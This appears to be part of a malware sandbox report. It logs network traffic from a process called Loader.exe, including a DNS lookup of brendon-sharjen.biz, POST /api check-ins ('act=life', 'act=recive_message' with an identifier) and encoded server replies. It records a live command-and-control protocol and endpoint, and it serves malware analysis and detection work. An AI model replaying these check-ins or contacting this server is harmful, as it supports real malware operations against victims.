Dec 6, 2024 13:59:20.563673973 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:24.445765018 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:24.445852995 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:24.445988894 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:24.448347092 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:24.448347092 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:24.448371887 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:24.448380947 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:24.501718044 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:24.501780033 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:24.502047062 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:24.502125025 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:24.502140045 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:25.876966000 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:25.877037048 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:25.878348112 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:25.878360033 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:25.878596067 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:25.886028051 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:25.886042118 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:25.886086941 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.378386974 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.378706932 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.378742933 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.378756046 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.378787041 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.378827095 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.379196882 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.386869907 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.386924028 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.386931896 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.398103952 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.398158073 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.398169041 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.406471968 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.406546116 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.406557083 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.459985018 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.498239994 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.538064003 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.538095951 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.570497036 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.570542097 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.570550919 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.570607901 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.570676088 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.571033001 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.571048021 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.571058035 CET	49719	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.571063042 CET	443	49719	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.672818899 CET	49731	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.672858953 CET	443	49731	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:29.672918081 CET	49731	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.673201084 CET	49731	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:29.673213005 CET	443	49731	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:30.886039019 CET	443	49731	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:30.886185884 CET	49731	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:30.887419939 CET	49731	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:30.887433052 CET	443	49731	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:30.887658119 CET	443	49731	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:30.895603895 CET	49731	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:30.895775080 CET	49731	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:30.895802021 CET	443	49731	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:34.824476957 CET	443	49731	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:34.824569941 CET	443	49731	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:34.824618101 CET	49731	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:34.824676991 CET	49731	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:34.824692965 CET	443	49731	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:34.914762974 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:34.914800882 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:34.914884090 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:34.915154934 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:34.915167093 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:36.131709099 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:36.131822109 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:36.134030104 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:36.134037971 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:36.134273052 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:36.135294914 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:36.135405064 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:36.135427952 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:36.135478020 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:36.183336020 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:39.344800949 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:39.344878912 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:39.345026970 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:39.345453978 CET	49747	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:39.345464945 CET	443	49747	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:39.524554014 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:39.524600983 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:39.524677992 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:39.524946928 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:39.524966955 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:40.744494915 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:40.744663000 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:40.747179985 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:40.747184992 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:40.747427940 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:40.748572111 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:40.748749018 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:40.748785973 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:40.748847008 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:40.748857021 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:43.402250051 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:43.402343988 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:43.402393103 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:43.403239012 CET	49758	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:43.403251886 CET	443	49758	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:43.723417997 CET	49769	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:43.723449945 CET	443	49769	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:43.723519087 CET	49769	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:43.723789930 CET	49769	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:43.723800898 CET	443	49769	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:44.944205046 CET	443	49769	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:44.944286108 CET	49769	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:44.945641994 CET	49769	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:44.945651054 CET	443	49769	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:44.945960045 CET	443	49769	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:44.947586060 CET	49769	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:44.947704077 CET	49769	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:44.947707891 CET	443	49769	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:48.201086998 CET	443	49769	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:48.201174021 CET	443	49769	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:48.201225042 CET	49769	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:48.201293945 CET	49769	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:48.201301098 CET	443	49769	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:48.252975941 CET	49780	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:48.252993107 CET	443	49780	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:48.253072023 CET	49780	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:48.253331900 CET	49780	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:48.253340960 CET	443	49780	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:49.466829062 CET	443	49780	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:49.466914892 CET	49780	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:49.471539021 CET	49780	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:49.471546888 CET	443	49780	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:49.471793890 CET	443	49780	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:49.474386930 CET	49780	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:49.474456072 CET	49780	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:49.474459887 CET	443	49780	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:53.120048046 CET	443	49780	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:53.120136976 CET	443	49780	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:53.120188951 CET	49780	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:53.121660948 CET	49780	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:53.121676922 CET	443	49780	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:53.229187012 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:53.229208946 CET	443	49791	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:53.229266882 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:53.232611895 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:53.232628107 CET	443	49791	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:54.447122097 CET	443	49791	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:54.447186947 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:54.448235035 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:54.448244095 CET	443	49791	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:54.448476076 CET	443	49791	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:54.449645042 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:54.449660063 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:54.449698925 CET	443	49791	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:57.762121916 CET	443	49791	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:57.762231112 CET	443	49791	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:57.762279987 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:57.762563944 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:57.762581110 CET	443	49791	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:57.762612104 CET	49791	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:57.762618065 CET	443	49791	172.67.130.33	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 13:59:18.799316883 CET	62885	53	192.168.2.7	1.1.1.1
Dec 6, 2024 13:59:19.129337072 CET	53	62885	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 13:59:18.799316883 CET	192.168.2.7	1.1.1.1	0xf4e5	Standard query (0)	brendon-sharjen.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 13:59:19.129337072 CET	1.1.1.1	192.168.2.7	0xf4e5	No error (0)	brendon-sharjen.biz		172.67.130.33	A (IP address)	IN (0x0001)	false
Dec 6, 2024 13:59:19.129337072 CET	1.1.1.1	192.168.2.7	0xf4e5	No error (0)	brendon-sharjen.biz		104.21.7.109	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

brendon-sharjen.biz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	172.67.130.33	443	3960	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 12:59:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: brendon-sharjen.biz
2024-12-06 12:59:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-06 12:59:24 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 12:59:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jotioo1l043au3i6o96057p70c; expires=Tue, 01-Apr-2025 06:46:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PCK0%2BxwTXMNlWlIHq%2FSLN5%2FyZxLO7Z5gRPQs%2Fcb5Ef3hjuuTKIF8BDmXACbFSgqzlVVJJh1S%2FS7ONmH2eRZ3pb7Z6O%2FlpUFRuZ60SsEGQgzQm8Ay5edXzGhZx4ZEOXNYxAbuVYxt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edc73de8cb880d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1496&min_rtt=1484&rtt_var=581&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2851&recv_bytes=910&delivery_rate=1845764&cwnd=208&unsent_bytes=0&cid=415d05d3d36c0158&ts=4099&x=0"
2024-12-06 12:59:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-06 12:59:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49719	172.67.130.33	443	3960	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 12:59:25 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: brendon-sharjen.biz
2024-12-06 12:59:25 UTC	86	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 Data Ascii: act=recive_message&ver=4.0&lid=HpOoIh--b58c2f805636&j=b9abc76ce53b6fc3a03566f8f764f5ea
2024-12-06 12:59:29 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 12:59:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vkk3f34691cof7on4rlomp0039; expires=Tue, 01-Apr-2025 06:46:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9lYiR1vRS7rGb%2FvJbOu4Y6tq1c2O24dTae8WUgK04w9G6XqLReLUU48zMJ18piWlq8t0KFM%2Frmav6045xt6MsXdnie0I%2B%2FzaIpY8WrPi%2B5Kh9uiCeapv4vHbBlOJ%2Fp%2F9ODMjVv9B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edc74007b337cfa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1975&min_rtt=1970&rtt_var=749&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=989&delivery_rate=1450571&cwnd=187&unsent_bytes=0&cid=094fac989a509bf4&ts=3669&x=0"
2024-12-06 12:59:29 UTC	347	IN	Data Raw: 34 33 30 63 0d 0a 6b 41 4f 79 5a 55 70 76 30 42 44 4e 45 7a 59 64 46 4b 71 74 63 45 6f 6b 58 76 4b 4f 6b 56 37 55 35 63 72 78 79 4a 30 39 4d 64 37 72 49 63 52 48 63 46 76 38 4d 72 35 32 46 43 64 79 79 38 45 44 4c 77 68 38 6b 2b 71 7a 5a 4c 4b 45 70 6f 4b 74 73 52 39 48 73 37 49 35 31 41 51 6d 48 4c 55 38 37 33 5a 4f 50 79 37 78 31 6c 49 76 53 6e 7a 49 72 50 51 30 74 6f 53 6d 6b 36 6e 32 55 6b 47 79 38 32 76 65 41 69 49 4b 73 33 53 73 66 31 74 34 63 63 2f 4d 47 69 52 4e 4d 35 72 6a 73 33 4c 32 67 4c 44 54 38 72 39 77 56 4b 72 78 54 74 4d 57 49 55 32 74 50 4c 59 78 55 33 4d 32 6b 49 38 52 4c 30 59 79 6c 4f 72 36 4e 72 79 4e 72 70 4b 73 39 30 31 59 75 50 68 72 30 41 45 6a 41 4c 70 67 6f 58 56 63 63 33 66 46 7a 46 4a 6d 42 6a 75 49 72 4b 74 38 35 62 57 72 67 Data Ascii: 430ckAOyZUpv0BDNEzYdFKqtcEokXvKOkV7U5crxyJ09Md7rIcRHcFv8Mr52FCdyy8EDLwh8k+qzZLKEpoKtsR9Hs7I51AQmHLU873ZOPy7x1lIvSnzIrPQ0toSmk6n2UkGy82veAiIKs3Ssf1t4cc/MGiRNM5rjs3L2gLDT8r9wVKrxTtMWIU2tPLYxU3M2kI8RL0YylOr6NryNrpKs901YuPhr0AEjALpgoXVcc3fFzFJmBjuIrKt85bWrg
2024-12-06 12:59:29 UTC	1369	IN	Data Raw: 4c 49 35 6b 41 45 6d 44 4c 39 79 76 58 6c 66 64 48 50 61 78 42 73 6c 53 7a 79 64 35 76 77 2f 74 6f 43 69 6d 61 58 31 57 31 36 78 39 47 48 51 52 32 5a 4e 74 57 72 76 4b 52 52 63 63 39 6a 49 48 6a 34 45 42 74 44 7a 76 53 58 32 67 4b 54 54 38 72 39 58 56 72 2f 78 61 74 38 45 49 41 61 67 63 72 31 33 57 58 70 6b 7a 73 6f 63 49 6b 55 75 6d 75 4c 31 50 37 2b 4d 6f 5a 61 74 2b 78 38 64 2f 50 56 35 6b 46 39 6f 4c 4c 39 35 6f 33 74 44 66 7a 62 58 67 51 74 6f 51 54 44 51 74 4c 4d 34 74 34 4f 70 6c 36 54 78 57 31 2b 36 2f 47 7a 66 41 53 49 4e 74 58 69 6e 65 56 56 79 66 63 66 50 46 79 56 43 4f 70 7a 74 39 6e 7a 34 78 36 2b 4c 36 71 63 66 66 62 76 78 63 35 49 79 4b 77 4f 38 64 62 6b 78 53 7a 46 76 69 4d 67 65 61 42 35 38 6e 75 6e 38 4c 72 65 56 72 5a 32 34 38 31 70 56 Data Ascii: LI5kAEmDL9yvXlfdHPaxBslSzyd5vw/toCimaX1W16x9GHQR2ZNtWrvKRRcc9jIHj4EBtDzvSX2gKTT8r9XVr/xat8EIAagcr13WXpkzsocIkUumuL1P7+MoZat+x8d/PV5kF9oLL95o3tDfzbXgQtoQTDQtLM4t4Opl6TxW1+6/GzfASINtXineVVyfcfPFyVCOpzt9nz4x6+L6qcffbvxc5IyKwO8dbkxSzFviMgeaB58nun8LreVrZ2481pV
2024-12-06 12:59:29 UTC	1369	IN	Data Raw: 49 79 4b 77 4f 38 64 62 6b 78 53 7a 46 76 69 4d 67 65 61 42 35 38 6e 4f 58 7a 4e 37 79 44 71 4a 53 6e 2b 6c 78 55 76 2f 39 6d 32 67 6b 76 43 62 35 37 6f 6e 64 55 65 48 4c 4e 33 52 63 68 53 6a 44 51 6f 72 4d 37 72 73 66 77 30 34 58 34 53 56 43 54 38 58 44 5a 52 7a 64 44 71 7a 4b 6f 66 52 51 6e 4e 73 2f 4b 47 69 4e 41 4e 4a 44 2b 39 6a 4b 39 68 71 4b 56 71 2f 4a 54 56 62 7a 7a 59 64 59 4c 4b 41 71 31 59 4c 31 30 55 6d 31 38 69 49 46 53 4c 31 35 38 79 4b 7a 46 4c 4b 47 57 76 74 47 66 2f 46 46 64 75 2b 51 68 7a 30 6b 78 54 62 56 2b 37 79 6b 55 64 48 62 45 79 42 6f 75 51 6a 53 66 34 2f 6f 75 74 34 75 6d 67 61 33 2f 56 6c 32 7a 2f 6d 6a 64 41 43 55 47 75 48 2b 72 64 6c 55 2f 4f 49 6a 49 43 6d 67 65 66 4b 62 38 2f 6a 43 59 6a 4b 53 61 36 75 41 52 53 76 7a 31 62 Data Ascii: IyKwO8dbkxSzFviMgeaB58nOXzN7yDqJSn+lxUv/9m2gkvCb57ondUeHLN3RchSjDQorM7rsfw04X4SVCT8XDZRzdDqzKofRQnNs/KGiNANJD+9jK9hqKVq/JTVbzzYdYLKAq1YL10Um18iIFSL158yKzFLKGWvtGf/FFdu+Qhz0kxTbV+7ykUdHbEyBouQjSf4/out4umga3/Vl2z/mjdACUGuH+rdlU/OIjICmgefKb8/jCYjKSa6uARSvz1b
2024-12-06 12:59:29 UTC	1369	IN	Data Raw: 46 73 33 79 67 63 46 42 36 63 38 7a 49 46 69 35 4a 66 4e 36 73 39 43 54 32 33 2b 69 38 6a 63 6f 64 63 6f 61 79 66 70 34 65 61 41 71 2b 4d 76 63 78 57 48 78 36 77 4d 41 55 49 55 6f 32 6d 65 66 2f 4e 37 4b 4c 6f 5a 61 73 2f 6c 70 57 76 66 5a 74 32 67 45 72 44 72 31 39 6f 48 6b 55 4d 54 62 50 31 31 4a 77 42 68 6d 48 35 2f 30 36 39 70 6a 6d 69 75 72 34 55 78 50 6b 73 6d 33 5a 41 53 34 49 76 6e 4f 70 65 56 46 33 63 73 6e 4a 46 43 74 4a 4f 4a 58 74 2f 44 69 36 69 61 4b 53 71 2f 4e 55 58 4c 66 33 49 5a 35 48 4c 78 58 79 4b 75 39 41 56 32 6c 68 32 4d 4e 53 4e 77 67 6c 30 4f 76 2f 66 4f 37 48 71 59 47 67 39 56 46 57 73 2f 64 69 33 77 41 6c 43 37 35 34 70 6e 6c 53 63 48 2f 61 7a 42 34 6d 51 54 4b 63 34 76 34 32 74 59 72 6f 33 65 72 34 52 78 50 6b 73 6b 33 58 43 67 Data Ascii: Fs3ygcFB6c8zIFi5JfN6s9CT23+i8jcodcoayfp4eaAq+MvcxWHx6wMAUIUo2mef/N7KLoZas/lpWvfZt2gErDr19oHkUMTbP11JwBhmH5/069pjmiur4UxPksm3ZAS4IvnOpeVF3csnJFCtJOJXt/Di6iaKSq/NUXLf3IZ5HLxXyKu9AV2lh2MNSNwgl0Ov/fO7HqYGg9VFWs/di3wAlC754pnlScH/azB4mQTKc4v42tYro3er4RxPksk3XCg
2024-12-06 12:59:29 UTC	1369	IN	Data Raw: 76 58 52 47 62 54 61 47 6a 78 55 77 42 6d 54 51 32 76 51 73 70 6f 54 71 6f 72 7a 38 53 56 69 78 2f 69 48 50 53 54 46 4e 74 58 37 76 4b 52 52 35 65 63 48 4d 48 53 6c 50 4d 4a 33 70 2b 6a 6d 33 67 61 79 5a 6f 50 39 5a 56 62 33 33 61 39 4d 47 49 67 53 31 65 71 68 79 52 6a 38 34 69 4d 67 4b 61 42 35 38 75 65 76 68 4d 71 62 48 74 39 32 7a 76 31 68 66 2f 4b 6f 68 31 41 30 6e 43 62 56 2b 71 58 52 53 63 6e 66 48 7a 68 49 6e 51 6a 65 5a 36 76 49 78 73 34 71 73 67 61 44 30 55 46 2b 31 2f 6d 79 51 53 57 67 4b 71 6a 4c 33 4d 57 56 79 65 4d 62 49 42 47 68 5a 63 6f 6d 73 39 44 44 32 33 2b 69 53 70 76 42 63 58 4c 2f 78 59 4e 6f 56 4f 67 47 37 65 71 70 39 58 33 46 77 32 73 6b 64 49 55 55 2f 6d 65 76 37 4d 4c 79 45 72 39 50 6b 76 31 68 4c 2f 4b 6f 68 38 78 41 34 41 50 4a Data Ascii: vXRGbTaGjxUwBmTQ2vQspoTqorz8SVix/iHPSTFNtX7vKRR5ecHMHSlPMJ3p+jm3gayZoP9ZVb33a9MGIgS1eqhyRj84iMgKaB58uevhMqbHt92zv1hf/Koh1A0nCbV+qXRScnfHzhInQjeZ6vIxs4qsgaD0UF+1/myQSWgKqjL3MWVyeMbIBGhZcoms9DD23+iSpvBcXL/xYNoVOgG7eqp9X3Fw2skdIUU/mev7MLyEr9Pkv1hL/Koh8xA4APJ
2024-12-06 12:59:29 UTC	1369	IN	Data Raw: 48 6c 2f 7a 73 67 55 4a 6c 51 35 6c 75 50 38 4e 62 2b 44 6f 4a 43 71 2b 31 74 55 75 66 46 74 32 77 41 72 41 72 5a 37 6f 58 68 62 50 7a 69 49 79 41 70 6f 48 6e 79 78 39 2f 41 77 75 38 65 33 33 62 4f 2f 57 46 2f 38 71 69 48 63 43 53 30 4e 75 48 53 72 64 46 4a 31 63 38 6a 45 45 53 64 43 4f 70 54 6a 38 7a 65 2f 68 71 36 57 6f 50 52 5a 58 72 2f 30 5a 35 42 4a 61 41 71 71 4d 76 63 78 64 47 52 37 78 4d 68 53 4e 77 67 6c 30 4f 76 2f 66 4f 37 48 6f 35 2b 75 2b 46 39 65 76 2f 70 6b 31 41 30 74 44 62 70 67 70 33 46 54 62 57 54 49 78 68 63 6b 52 54 79 55 36 76 6f 36 74 59 50 6f 33 65 72 34 52 78 50 6b 73 6b 7a 63 41 41 45 4b 71 54 4b 77 50 30 30 2f 63 63 53 50 53 6d 68 48 4e 35 72 6a 2f 6a 2b 77 68 4b 4f 57 6f 50 35 59 57 37 48 67 59 74 38 49 4c 41 32 39 64 4b 6c 77 Data Ascii: 